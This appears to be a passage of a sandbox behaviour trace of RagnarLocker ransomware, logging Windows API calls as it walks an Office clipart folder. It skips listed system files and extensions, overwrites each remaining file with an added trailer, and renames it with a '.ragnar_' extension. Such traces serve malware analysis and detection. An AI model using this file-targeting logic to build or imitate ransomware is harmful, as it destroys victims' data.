lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.567] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.567] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.567] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.567] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.567] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf")) returned 0x20 [0090.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4712) returned 1 [0090.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x125f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.568] GetProcessHeap () returned 0x580000 [0090.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.570] VirtualAlloc (lpAddress=0x0, dwSize=0x1268, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.570] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1268, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1268, lpOverlapped=0x0) returned 1 [0090.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1268, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.571] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1268, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1268, lpOverlapped=0x0) returned 1 [0090.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1268, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1268, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.571] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.571] GetProcessHeap () returned 0x580000 [0090.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.572] CloseHandle (hObject=0xf4) returned 1 [0090.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" [0090.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.ragnar_FD7BD9FC" [0090.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0090.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.572] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00308_.WMF" | out: lpString1="SL00308_.WMF") returned="SL00308_.WMF" [0090.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF") returned=".WMF" [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="autorun.inf") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="boot.ini") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="bootfont.bin") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="bootsect.bak") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="bootmgr") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="bootmgr.efi") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="desktop.ini") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="iconcache.db") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="ntldr") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="ntuser.dat") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="ntuser.ini") returned 1 [0090.573] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="thumbs.db") returned -1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.573] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf")) returned 0x20 [0090.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.574] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8416) returned 1 [0090.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.574] GetProcessHeap () returned 0x580000 [0090.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.574] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.576] VirtualAlloc (lpAddress=0x0, dwSize=0x20e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.576] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20e0, lpOverlapped=0x0) returned 1 [0090.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.577] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20e0, lpOverlapped=0x0) returned 1 [0090.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.578] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.578] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.578] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.578] GetProcessHeap () returned 0x580000 [0090.578] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.578] CloseHandle (hObject=0xf4) returned 1 [0090.578] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" [0090.578] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.ragnar_FD7BD9FC" [0090.578] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0090.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.579] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00345_.WMF" | out: lpString1="SL00345_.WMF") returned="SL00345_.WMF" [0090.579] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF") returned=".WMF" [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="autorun.inf") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="boot.ini") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="bootfont.bin") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="bootsect.bak") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="bootmgr") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="bootmgr.efi") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="desktop.ini") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="iconcache.db") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="ntldr") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="ntuser.dat") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="ntuser.ini") returned 1 [0090.579] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="thumbs.db") returned -1 [0090.579] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.579] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.579] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.579] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.580] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.580] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.580] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf")) returned 0x20 [0090.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.580] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2788) returned 1 [0090.580] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xadb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.580] GetProcessHeap () returned 0x580000 [0090.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.580] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.582] VirtualAlloc (lpAddress=0x0, dwSize=0xae4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.582] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xae4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xae4, lpOverlapped=0x0) returned 1 [0090.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xae4, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.582] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xae4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xae4, lpOverlapped=0x0) returned 1 [0090.583] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xae4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.583] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.583] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.583] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.583] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.583] GetProcessHeap () returned 0x580000 [0090.583] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.583] CloseHandle (hObject=0xf4) returned 1 [0090.583] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" [0090.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.ragnar_FD7BD9FC" [0090.583] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0090.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.584] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00452_.WMF" | out: lpString1="SL00452_.WMF") returned="SL00452_.WMF" [0090.584] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF") returned=".WMF" [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="autorun.inf") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="boot.ini") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="bootfont.bin") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="bootsect.bak") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="bootmgr") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="bootmgr.efi") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.584] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="desktop.ini") returned 1 [0090.585] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="iconcache.db") returned 1 [0090.585] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="ntldr") returned 1 [0090.585] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="ntuser.dat") returned 1 [0090.585] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.585] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="ntuser.ini") returned 1 [0090.585] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="thumbs.db") returned -1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf")) returned 0x20 [0090.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0x40000005, 